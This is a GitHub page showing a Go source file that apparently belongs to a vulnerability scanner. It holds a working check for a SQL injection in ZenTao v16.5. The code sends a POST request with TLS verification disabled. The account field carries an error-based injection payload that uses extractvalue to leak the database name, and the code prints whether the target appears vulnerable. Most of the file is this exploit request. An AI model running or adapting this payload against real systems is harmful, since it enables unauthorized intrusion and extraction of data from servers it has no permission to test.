-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathZentao.go
48 lines (44 loc) · 1.32 KB
/
Zentao.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package main
import (
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
"strings"
)
func Zentao() {
fmt.Println("\n-----------------------✂---------------------------")
fmt.Println("禅道 v16.5 SQL注入漏洞 公开日期:2022/6/14")
fmt.Println("\n-----------------------✂---------------------------")
tr := &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
}
client := &http.Client{Transport: tr}
//client := &http.Client{Timeout: time.Second * 10}
req, err := http.NewRequest("POST", url+Zentaopath, strings.NewReader(
`account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28database%28%29%29%2C0x7e%29%29%29%23`))
if err != nil {
}
req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0")
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
req.Header.Add("Referer", url+Zentaopath)
resp, err := client.Do(req)
if err != nil {
}
if err == nil {
defer resp.Body.Close()
body, err1 := ioutil.ReadAll(resp.Body)
if err1 != nil {
fmt.Println(err1)
}
if strings.Contains(string(body), "zentao") {
fmt.Println("存在禅道 v16.5 SQL注入漏洞")
} else {
fmt.Println("不存在禅道 v16.5 SQL注入漏洞")
}
} else {
fmt.Println("不存在禅道 v16.5 SQL注入漏洞")
}
}